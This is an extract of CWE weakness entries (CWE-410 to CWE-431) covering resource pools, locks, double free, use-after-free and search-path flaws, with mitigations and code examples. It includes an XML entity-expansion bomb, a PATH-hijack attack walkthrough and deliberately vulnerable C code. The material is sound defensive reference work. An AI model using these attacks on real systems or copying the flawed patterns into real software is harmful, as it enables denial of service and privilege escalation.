The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is  $2^0$ . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or  $2^1$ . Ultimately, we reach entity THIRTYTWO, which will expand to  $2^{32}$  characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML

(attack)

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

## CWE-410: Insufficient Resource Pool

<b>Weakness ID</b> : 410	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

### Extended Description

Frequently the consequence is a "flood" of connection or sessions.

### Relationships

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Other	
Other	<i>Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

#### Phase: Architecture and Design

Consider implementing a velocity check mechanism which would detect abusive behavior.

#### Phase: Operation

Consider load balancing as an option to handle heavy loads.

**Phase: Implementation**

Make sure that resource handles are properly closed when no longer needed.

**Phase: Architecture and Design**

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

**Demonstrative Examples**

**Example 1:**

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

Example Language: XML

(bad)

```
<Resource name="jdbc/exampledb"
auth="Container"
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"

## CWE-412: Unrestricted Externally Accessible Lock

<b>Weakness ID</b> : 412	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

## Extended Description

This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	
	<i>When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.</i>	

## Detection Methods

**White Box**

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

Use any access control that is offered by the functionality that is offering the lock.

#### Phase: Architecture and Design

#### Phase: Implementation

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

#### Phase: Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.

### Demonstrative Examples

#### Example 1:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP

(bad)

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logfile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

## CWE-413: Improper Resource Locking

<b>Weakness ID</b> : 413	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not lock or does not correctly lock a resource when the software must have exclusive access to the resource.

### Extended Description

When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Availability	DoS: Instability DoS: Crash, Exit, or Restart	

### Potential Mitigations

#### Phase: Architecture and Design

Use a non-conflicting privilege scheme.

#### Phase: Architecture and Design

#### Phase: Implementation

Use synchronization when locking a resource.

### Demonstrative Examples

#### Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

*Example Language: C*

*(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(good)

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

### Example 2:

This Java example shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java

(bad)

```
public class BankAccount {
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {
        double newBalance = accountBalance + depositAmount;
        accountBalance = newBalance;
    }
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    // other methods for accessing the BankAccount object
    ...
}
```

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.

Example Language: Java

(good)

```
public class BankAccount {
    ...
    // synchronized method to deposit amount into BankAccount
    public synchronized void deposit(double depositAmount) {
        ...
    }
    // synchronized method to withdraw amount from BankAccount
    public synchronized void withdraw(double withdrawAmount) {
        ...
    }
}
```

```
...
}
```

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

Example Language: Java

(good)

```
public class BankAccount {
    ...
    // lock object for thread access to methods
    private ReentrantLock balanceChangeLock;
    // condition object to temporarily release lock to other threads
    private Condition sufficientFundsCondition;
    // method to deposit amount into BankAccount
    public void deposit(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            double newBalance = balance + amount;
            balance = newBalance;
            // inform other threads that funds are available
            sufficientFundsCondition.signalAll();
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    // method to withdraw amount from bank account
    public void withdraw(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            while (balance < amount) {
                // temporarily unblock access
                // until sufficient funds are available
                sufficientFundsCondition.await();
            }
            double newBalance = balance - amount;
            balance = newBalance;
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    ...
}
```

## CWE-415: Double Free

<b>Weakness ID</b> : 415	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

### Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Choose a language that provides automatic memory management.

#### Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

#### Phase: Implementation

Use a static analysis tool to find double free instances.

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a double free vulnerability.

*Example Language: C*

*(bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

### Example 2:

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

Example Language: C

(bad)

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf1R2;
    buf1R1 = (char *) malloc(BUFSIZE2);
    buf2R1 = (char *) malloc(BUFSIZE2);
    free(buf1R1);
    free(buf2R1);
    buf1R2 = (char *) malloc(BUFSIZE1);
    strncpy(buf1R2, argv[1], BUFSIZE1-1);
    free(buf2R1);
    free(buf1R2);
}
```

## Notes

### Relationship

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

### Theoretical

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

## CWE-416: Use After Free

<b>Weakness ID</b> : 416	<b>Status</b> : Stable
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

## Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Alternate Terms

**Dangling pointer :**

**Use-After-Free :**

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory  <i>The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Choose a language that provides automatic memory management.

### Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;
    buf1R1 = (char *) malloc(BUFSIZER1);
    buf2R1 = (char *) malloc(BUFSIZER1);
    free(buf2R1);
    buf2R2 = (char *) malloc(BUFSIZER2);
    buf3R2 = (char *) malloc(BUFSIZER2);
    strncpy(buf2R1, argv[1], BUFSIZER1-1);
    free(buf1R1);
    free(buf2R2);
    free(buf3R2);
}
```

### Example 2:

The following code illustrates a use after free error:

Example Language: C

(bad)

```
char* ptr = (char*)malloc (SIZE);
if (err) {
  abrt = 1;
  free(ptr);
}
...
if (abrt) {
  logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

## CWE-419: Unprotected Primary Channel

**Weakness ID** : 419

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-421: Race Condition During Access to Alternate Channel

Weakness ID : 421

Status: Draft

Structure : Simple

Abstraction : Base

## Description

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

## Extended Description

This creates a race condition that allows an attacker to access the channel before the authorized user does.

## CWE-422: Unprotected Windows Messaging Channel ('Shatter')

**Weakness ID** : 422

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Notes

#### Relationship

Overlaps privilege errors and UI errors.

#### Research Gap

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such. Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

## CWE-424: Improper Protection of Alternate Path

**Weakness ID** : 424

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

## Relationships

## CWE-425: Direct Request ('Forced Browsing')

**Weakness ID** : 425

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

## Description

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

## Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

## Relationships

## Notes

### Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

### Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

## CWE-426: Untrusted Search Path

<b>Weakness ID</b> : 426	<b>Status</b> : Stable
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.

### Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the application uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. The problem extends to any type of critical resource that the application trusts.

Some of the most common variants of untrusted search path are:

- In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD\_PRELOAD may be used to locate a separate library.

- In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

## Detection Methods

## Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as `FileMon`, `RegMon`, `Process Monitor`, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as `getenv()` or their equivalent can be checked to see if any path-related variables are being accessed.

## Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Manual Analysis

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Potential Mitigations

### Phase: Architecture and Design

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

#### Phase: Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

#### Phase: Implementation

Remove or restrict all environment settings before invoking other programs. This includes the `PATH` environment variable, `LD_LIBRARY_PATH`, and other settings that identify the location of code libraries, and any application-specific search paths.

#### Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

#### Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, `system()` in C does not require a full path since the shell can take care of it, while `execl()` and `execv()` require a full path.

## Demonstrative Examples

### Example 1:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with `setuid` privileges in order to bypass the permissions check by the operating system.

Example Language: C

(bad)

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for `DIR`, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the `PATH` environment variable, the following attack would work:

Example Language:

(attack)

- The user sets the `PATH` to reference a directory under the attacker's control, such as `/my/dir/`.
- The attacker creates a malicious program called `ls`, and puts that program in `/my/dir`
- The user executes the program.
- When `system()` is executed, the shell consults the `PATH` to find the `ls` program
- The program finds the attacker's malicious program, `/my/dir/ls`. It doesn't find `/bin/ls` because `PATH` does not contain `/bin/`.
- The program executes the attacker's malicious program with the raised privileges.

### Example 2:

This code prints all of the running processes belonging to the current user.

Example Language: PHP

(bad)

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$username = getCurrentUser();
$command = 'ps aux | grep ' . $username;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a `PATH` based attack (CWE-426), as an attacker may be able to create malicious versions of the `ps` or `grep` commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

### Example 3:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a `make` command in the `/var/yp` directory. Performing NIS updates requires extra privileges.

Example Language: Java

(bad)

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

## CWE-427: Uncontrolled Search Path Element

**Weakness ID** : 427

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

### Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.

In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

- the directory from which the program has been loaded
- the current working directory.

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

In software package management frameworks (e.g., npm, RubyGems, or PyPi), the framework may identify dependencies on third-party libraries or other packages, then consult a repository that contains the desired package. The framework may search a public repository before a private repository. This could be exploited by attackers by placing a malicious package in the public repository that has the same name as a package from the private repository. The search path might not be directly under control of the developer relying on the framework, but this search order effectively contains an untrusted element.

## Alternate Terms

**DLL preloading** : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Binary planting** : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Insecure library loading** : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Dependency confusion** : As of February 2021, this term is used to describe CWE-427 in the context of managing installation of software package dependencies, in which attackers release packages on public sites where the names are the same as package names used by private repositories, and the search for the dependent package tries the public site first, downloading untrusted code. It may also be referred to as a "substitution attack."

Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD\_LIBRARY\_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

#### Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.

#### Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, `system()` in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while `execl()` and `execv()` require a full path.

## Demonstrative Examples

### Example 1:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a `make` command in the `/var/yp` directory. Performing NIS updates requires extra privileges.

*Example Language: Java*

*(bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2079

### Notes

#### Relationship

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

#### Theoretical

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

## CWE-428: Unquoted Search Path or Element

**Weakness ID** : 428

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

### Extended Description

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Operating\_System** : Windows NT (*Prevalence = Sometimes*)

**Operating\_System** : macOS (*Prevalence = Rarely*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Potential Mitigations

#### Phase: Implementation

Properly quote the full search path before executing a program on the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2073

## Notes

### Applicable Platform

This weakness could apply to any OS that supports spaces in filenames, especially any OS that make it easy for a user to insert spaces into filenames or folders, such as Windows. While spaces are technically supported in Unix, the practice is generally avoided. .

### Maintenance

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message. An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

## CWE-430: Deployment of Wrong Handler

**Weakness ID** : 430**Status**: Incomplete**Structure** : Simple**Abstraction** : Base

### Description

The wrong "handler" is assigned to process an object.

### Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

## CWE-431: Missing Handler

<b>Weakness ID</b> : 431	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A handler is not available or implemented.

### Extended Description

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		429	Handler Errors	1990

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

Handle all possible situations (e.g. error condition).

#### Phase: Implementation

If an operation can throw an Exception, implement a handler for that specific exception.

### Demonstrative Examples

#### Example 1:

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

*Example Language: Java*

*(bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

